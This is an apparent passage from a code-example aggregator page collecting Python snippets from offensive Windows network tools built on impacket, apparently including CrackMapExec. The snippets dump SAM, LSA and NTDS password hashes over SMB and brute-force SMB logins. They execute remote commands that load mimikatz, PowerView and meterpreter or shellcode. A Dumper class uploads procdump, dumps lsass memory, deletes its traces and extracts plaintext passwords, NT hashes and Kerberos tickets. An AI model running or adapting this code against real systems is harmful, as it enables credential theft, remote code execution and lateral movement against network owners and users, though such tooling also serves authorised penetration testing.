        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    ################################
    def enable_remoteops(self):
        # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        try:
            self.enable_remoteops()

            def add_sam_hash(sam_hash, host_id):
                self.logger.success(
                    [self.host, highlight("SAM HASH"), sam_hash])
                username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
                self.db.update_user(username, '', host_id,
                                    "{}:{}".format(lmhash, nthash))

            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()

        except Exception as e:
            self.logger.fail('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))
            try:
                self.remote_ops.finish()
            except Exception as e:
                self.logger.debug(
                    "Error calling remote_ops.finish() for {}: {}".format(
                        self.host, str(e)))
        SAM.finish()

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Ejemplo n.º 13
0
def connect(host):
    '''
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    '''

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host,
                                     settings.args.port,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump('{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash,
                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 14
0
def login(host, args):
    try:
        smbconn = SMBConnection(host, host,
                                timeout=args.timeout)  # throws socket.error
    except Exception as e:
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password,
            'ConnectionError'))
        return

    error_code = STATUS_SUCCESS
    try:
        if args.nthash:
            smbconn.login(args.username,
                          '',
                          nthash=args.password,
                          domain=args.domain)
        elif args.lmhash:
            smbconn.login(args.username,
                          '',
                          lmhash=args.password,
                          domain=args.domain)
        else:
            smbconn.login(args.username, args.password, domain=args.domain)
    except impacket.smbconnection.SessionError as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'LoginError'
        if error_code == STATUS_LOGON_FAILURE:
            status = 'Failure'
            if args.domain != '.' and smbconn.getServerDomain() != '':
                sys.stdout.write('{} {}\\{} {}\n'.format(
                    host, args.domain, args.username + ':' + args.password,
                    status))
                raise DomainLoginError(
                    'Aborting: domain creds are invalid, preventing lockout')
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password, status))
        return

    try:
        # for s in smbconn.listShares():
        #     print(s['shi1_netname'][:-1])
        smbconn.connectTree(r'ADMIN$')
        status = 'Success:ADMIN'
    except Exception as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'ConnectTreeError ' + hex(error_code)
        if smbconn.isGuestSession():
            status = 'Guest'
        elif error_code == STATUS_ACCESS_DENIED:
            status = 'Success'
        elif error_code == STATUS_BAD_NETWORK_NAME:
            # ADMIN$ doesn't exist, probably Samba
            status = 'ShareNameError'

    sys.stdout.write('{} {}\\{} {}\n'.format(
        host, args.domain, args.username + ':' + args.password, status))
    try:
        smbconn.logoff()
    except:
        pass
Ejemplo n.º 15
0
class Dumper:
    def __init__(self, username, password, domain, target, auth, hashes):
        self.target = target
        self.auth = auth
        if domain is None:
            domain = ""
        self.credentials = {
            "username": username,
            "password": password,
            "domain": domain,
            "hashes": hashes,
        }
        if self.credentials["hashes"] != "":
            self.credentials["hashes"] = self.credentials["hashes"].lower()
            self.credentials["lm_hash"] = self.credentials["hashes"].split(
                ":")[0]
            self.credentials["nt_hash"] = self.credentials["hashes"].split(
                ":")[1]
        else:
            self.credentials["hashes"] = None
            self.credentials["lm_hash"] = ""
            self.credentials["nt_hash"] = ""
        self.smb = SMBConnection(self.target,
                                 self.target,
                                 sess_port=445,
                                 timeout=4)
        self.host_info = self.enum_host_info()

    def enum_host_info(self):
        print("Performing enumeration")
        info_dict = {}
        self.smb.login(
            user=self.credentials["username"],
            password=self.credentials["password"],
            domain=self.credentials["domain"],
            nthash=self.credentials["nt_hash"],
            lmhash=self.credentials["lm_hash"],
        )
        os = self.smb.getServerOS()
        arch = self.get_arch()
        domain = self.smb.getServerDomain()
        info_dict.update({"target": self.target})
        info_dict.update({"os": os})
        info_dict.update({"domain": domain})
        info_dict.update({"arch": arch})
        print("Done")
        return info_dict

    def get_arch(self):
        options = Namespace()
        options.target = self.target
        NDR64Syntax = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")
        try:
            stringBinding = r"ncacn_ip_tcp:%s[135]" % self.target
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(2)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=NDR64Syntax)
            except DCERPCException as e:
                if str(e).find("syntaxes_not_supported") >= 0:
                    return 32
                else:
                    print(str(e))
                    pass
            else:
                return 64

            dce.disconnect()
        except Exception as e:
            print(f"{self.target}, {str(e)}")
            print(f"Failed to determine {self.target} architecture")
            print("Attempt to proceed with 32 bit procdump")
            return 32

    def upload_file(self):
        print("Uploading file")
        if self.host_info["arch"] == 64:
            src = src_x64
            filename = re.sub(r"\d+", "", path.basename(src))
            self.smb.putFile("C$", "/Users/Public/Documents/" + filename,
                             open(src, "rb").read)
        elif self.host_info["arch"] == 32:
            src = src_x32
            filename = re.sub(r"\d+", "", path.basename(src))
            self.smb.putFile("C$", "/Users/Public/Documents/" + filename,
                             open(src, "rb").read)
        else:
            print("Something went wrong")
            sys.exit(1)
        print("Done")

    def exec_procdump(self):
        print("Executing procdump")
        if self.credentials["password"] != "":
            password = self.credentials["password"]
        else:
            password = ""
        if self.auth == "psexec":
            executer = PSEXEC(
                "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul",
                None,
                None,
                None,
                int(445),
                self.credentials["username"],
                password,
                self.credentials["domain"],
                self.credentials["hashes"],
                None,
                False,
                None,
                "",
            ).run(self.target, self.target)
            if self.host_info["arch"] == 64:
                executer = PSEXEC(
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    None,
                    None,
                    None,
                    int(445),
                    self.credentials["username"],
                    password,
                    self.credentials["domain"],
                    self.credentials["hashes"],
                    None,
                    False,
                    None,
                    "",
                )
            else:
                executer = PSEXEC(
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    None,
                    None,
                    None,
                    int(445),
                    self.credentials["username"],
                    password,
                    self.credentials["domain"],
                    self.credentials["hashes"],
                    None,
                    False,
                    None,
                    "",
                )
            executer.run(remoteName=self.target, remoteHost=self.target)
        elif self.auth == "wmiexec":
            executer = WMIEXEC(
                command=
                "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul",
                username=self.credentials["username"],
                password=password,
                domain=self.credentials["domain"],
                hashes=self.credentials["hashes"],
                aesKey=None,
                share="C$",
                noOutput=False,
                doKerberos=False,
                kdcHost=None,
            ).run(self.target)
            if self.host_info["arch"] == 64:
                executer = WMIEXEC(
                    command=
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    username=self.credentials["username"],
                    password=password,
                    domain=self.credentials["domain"],
                    hashes=self.credentials["hashes"],
                    aesKey=None,
                    share="C$",
                    noOutput=False,
                    doKerberos=False,
                    kdcHost=None,
                )
            else:
                executer = WMIEXEC(
                    command=
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    username=self.credentials["username"],
                    password=password,
                    domain=self.credentials["domain"],
                    hashes=self.credentials["hashes"],
                    aesKey=None,
                    share="C$",
                    noOutput=False,
                    doKerberos=False,
                    kdcHost=None,
                )
            executer.run(self.target)
        print("Done")

    def dump_lsass(self):
        print("Dumping")
        self.smb.getFile(
            "C$",
            "/Users/Public/Documents/lsass_dump.dmp",
            open("lsass_dump.dmp", "wb").write,
        )
        print("Done")

    def clear_out(self):
        print("Starting ClearOut")
        self.smb.deleteFile("C$", "/Users/Public/Documents/lsass_dump.dmp")
        self.smb.deleteFile("C$", "/Users/Public/Documents/procdump.exe")
        self.smb.close()
        print("ClearOut Done")

    # def clean_up(self):
    #     print("Searching for files")
    #     if self.credentials["password"] != "":
    #         password = self.credentials["password"]
    #     else:
    #         password = ""
    #     if self.auth == "psexec":
    #         executer = PSEXEC(
    #             "dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}",
    #             None,
    #             None,
    #             None,
    #             int(445),
    #             self.credentials["username"],
    #             password,
    #             self.credentials["domain"],
    #             self.credentials["hashes"],
    #             None,
    #             False,
    #             None,
    #             "",
    #         ).run(self.target, self.target)
    #     elif self.auth == "wmiexec":
    #         executer = WMIEXEC(
    #             command="dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}",
    #             username=self.credentials["username"],
    #             password=password,
    #             domain=self.credentials["domain"],
    #             hashes=self.credentials["hashes"],
    #             aesKey=None,
    #             share="C$",
    #             noOutput=False,
    #             doKerberos=False,
    #             kdcHost=None,
    #         ).run(self.target)
    #     # self.smb.login(
    #     #     user=self.credentials["username"],
    #     #     password=self.credentials["password"],
    #     #     domain=self.credentials["domain"],
    #     #     nthash=self.credentials["nt_hash"],
    #     #     lmhash=self.credentials["lm_hash"],
    #     # )
    #
    #     pdb.set_trace()

    @staticmethod
    def dump_to_pypykatz(dump_file="./lsass_dump.dmp"):
        print("Pypykatz doing his job...")

        cmdhelpers = [
            LSACMDHelper(),
            RegistryCMDHelper(),
            CryptoCMDHelper(),
            LDAPCMDHelper(),
            KerberosCMDHelper(),
            RemoteCMDHelper(),
        ]
        args = Namespace()
        args.cmd = "minidump"

        args.command = "lsa"
        args.directory = False
        args.halt_on_error = False
        args.json = True
        args.kerberos_dir = False
        args.memoryfile = dump_file
        args.outfile = "temp_report.json"
        args.recursive = False
        args.timestamp_override = None
        args.verbose = 0

        for helper in cmdhelpers:
            helper.execute(args)
        print("Removing dump file")
        os.remove(dump_file)
        print("Done")

    @staticmethod
    def create_report(filename, verbose):
        print("Creating report")
        with open("./temp_report.json", "r") as jf:
            parsed = json.load(jf)["./lsass_dump.dmp"]
            with open(filename, "w") as report:
                for el in parsed["logon_sessions"]:
                    temp = parsed["logon_sessions"][el]
                    if len(temp["kerberos_creds"]) > 0:
                        for cr in temp["kerberos_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From Kerberos (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                elif len(cr["tickets"]) > 0:
                                    if verbose == 1:
                                        report.write(
                                            f"From Kerberos (Domain/username:tickets) -- {cr['domainname']} / {cr['username']}:{cr['tickets']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"Tickets--{cr['domainname']} / {cr['username']}:{cr['tickets']}\n"
                                        )
                    if len(temp["livessp_creds"]) > 0:
                        report.write("Did not expect creds to be in livessp\n")
                    if len(temp["ssp_creds"]) > 0:
                        for cr in temp["ssp_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From SSP (Domain/username:password) -- {cr['domainname']}/{cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']}/{cr['username']}:{cr['password']}\n"
                                        )
                    if len(temp["wdigest_creds"]) > 0:
                        for cr in temp["wdigest_creds"]:
                            if cr["username"] is not None:
                                if cr["password"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From Wdigest (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"{cr['domainname']} / {cr['username']}:{cr['password']}\n"
                                        )
                    if len(temp["msv_creds"]) > 0:
                        for cr in temp["msv_creds"]:
                            if cr["username"] is not None:
                                if cr["NThash"] is not None:
                                    if verbose == 1:
                                        report.write(
                                            f"From MSV (Domain/username:NThash) -- {cr['domainname']} / {cr['username']}:{cr['NThash']}\n"
                                        )
                                    else:
                                        report.write(
                                            f"NTHASH--{cr['domainname']} / {cr['username']}:{cr['NThash']}\n"
                                        )

                for el in parsed["orphaned_creds"]:
                    if "username" in el.keys() and el["username"] is not "":
                        if el["password"] is not None:
                            if verbose == 1:
                                report.write(
                                    f"From orphaned creds (Domain/username:password) -- {el['domainname']} / {el['username']}:{el['password']}\n"
                                )
                            else:
                                report.write(
                                    f"{el['domainname']} / {el['username']}:{el['password']}\n"
                                )
                        elif "tickets" in el.keys() and len(el["tickets"]) > 0:
                            if verbose == 1:
                                report.write(
                                    f"From orphaned creds (Domain/username:tickets) -- {el['domainname']} / {el['username']}:{el['tickets']}\n"
                                )
                            else:
                                report.write(
                                    f"Tickets--{el['domainname']} / {el['username']}:{el['tickets']}\n"
                                )
        os.remove("./temp_report.json")
        print("Done :)")

    def run(self):
        self.upload_file()
        self.exec_procdump()
        self.dump_lsass()
        self.clear_out()
Ejemplo n.º 16
0
def connector(target, args, db, module, context, cmeserver):

    try:

        smb = SMBConnection(target, target, None, args.smb_port)

        #Get our IP from the socket
        local_ip = smb.getSMBServer().get_socket().getsockname()[0]

        #Get the remote ip address (in case the target is a hostname) 
        remote_ip = smb.getRemoteHost()

        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain     = smb.getServerDomain()
        servername = smb.getServerName()
        serveros   = smb.getServerOS()

        if not domain:
            domain = servername

        db.add_host(remote_ip, servername, domain, serveros)

        logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})

        logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8')))

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            pass

        if args.mssql:
            instances = None
            logger.extra['port'] = args.mssql_port
            ms_sql = tds.MSSQL(target, args.mssql_port, logger)
            ms_sql.connect()

            instances = ms_sql.getInstances(10)
            if len(instances) > 0:
                logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                for i, instance in enumerate(instances):
                    logger.highlight("Instance {}".format(i))
                    for key in instance.keys():
                        logger.highlight(key + ":" + instance[key])

            try:
                ms_sql.disconnect()
            except:
                pass

        if args.username and (args.password or args.hash):
            conn = None

            if args.mssql and (instances is not None and len(instances) > 0):
                conn = tds.MSSQL(target, args.mssql_port, logger)
                conn.connect()
            elif not args.mssql:
                conn = SMBConnection(target, target, None, args.smb_port)

            if conn is None:
                return

            if args.domain:
                domain = args.domain

            connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)

            if (connection.password is not None or connection.hash is not None) and connection.username is not None:
                if module is not None:

                    module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
                    context = Context(db, module_logger, args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if hasattr(module, 'on_login'):
                        module.on_login(context, connection)

                    if hasattr(module, 'on_admin_login') and connection.admin_privs:
                        module.on_admin_login(context, connection)
                else:
                    if connection.admin_privs and (args.pscommand or args.command):

                        get_output = True if args.no_output is False else False
                        if args.mssql: args.exec_method = 'mssqlexec'

                        if args.command:
                            output = connection.execute(args.command, get_output=get_output)

                        if args.pscommand:
                            output = connection.execute(create_ps_command(args.pscommand), get_output=get_output)

                        logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else ''))
                        buf = StringIO(output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    if args.mssql and args.mssql_query:
                        conn.sql_query(args.mssql_query)
                        query_output = conn.printRows()
                        
                        logger.success('Executed MSSQL query')
                        buf = StringIO(query_output).readlines()
                        for line in buf:
                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port, connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()

    except socket.error:
        return
Ejemplo n.º 17
0
def main_greenlet(host):

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, 
                                                           'hostname': s_name,
                                                           'port': settings.args.port,
                                                           'service': 'SMB'})

        cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))

        if settings.args.mssql_instance or settings.args.mssql is not None:
            mssql_greenlet(host, s_name, domain)
            return

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, domain, smb, cme_logger)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb, cme_logger)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb, cme_logger)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(cme_logger,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain,
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(cme_logger,
                                      settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(cme_logger,
                                     settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(cme_logger, host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(cme_logger,
                                     settings.args.user,  
                                     domain,
                                     settings.args.passwd,
                                     settings.args.hash,
                                     settings.args.kerb,
                                     settings.args.aesKey)

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(cme_logger, smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest or settings.args.disable_wdigest:
                wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
                if settings.args.enable_wdigest:
                    wdigest.enable()
                elif settings.args.disable_wdigest:
                    wdigest.disable()

            if settings.args.service:
                service_control = SVCCTL(cme_logger,
                                         settings.args.user, 
                                         settings.args.passwd, 
                                         domain,
                                         '{}/SMB'.format(settings.args.port),
                                         settings.args.service, 
                                         settings.args)
                service_control.run(host)

            if settings.args.command:
                EXECUTOR(cme_logger, 
                         settings.args.command, 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.pscommand:
                EXECUTOR(cme_logger, 
                         ps_command(settings.args.pscommand, settings.args.ps_arch), 
                         host, 
                         domain, 
                         settings.args.no_output, 
                         smb, 
                         settings.args.execm)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.gpp_passwords(), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)      

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
                         powah_command.mimikatz(settings.args.mimikatz_cmd), 
                         host, 
                         domain, 
                         True, 
                         smb, 
                         settings.args.execm)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, 
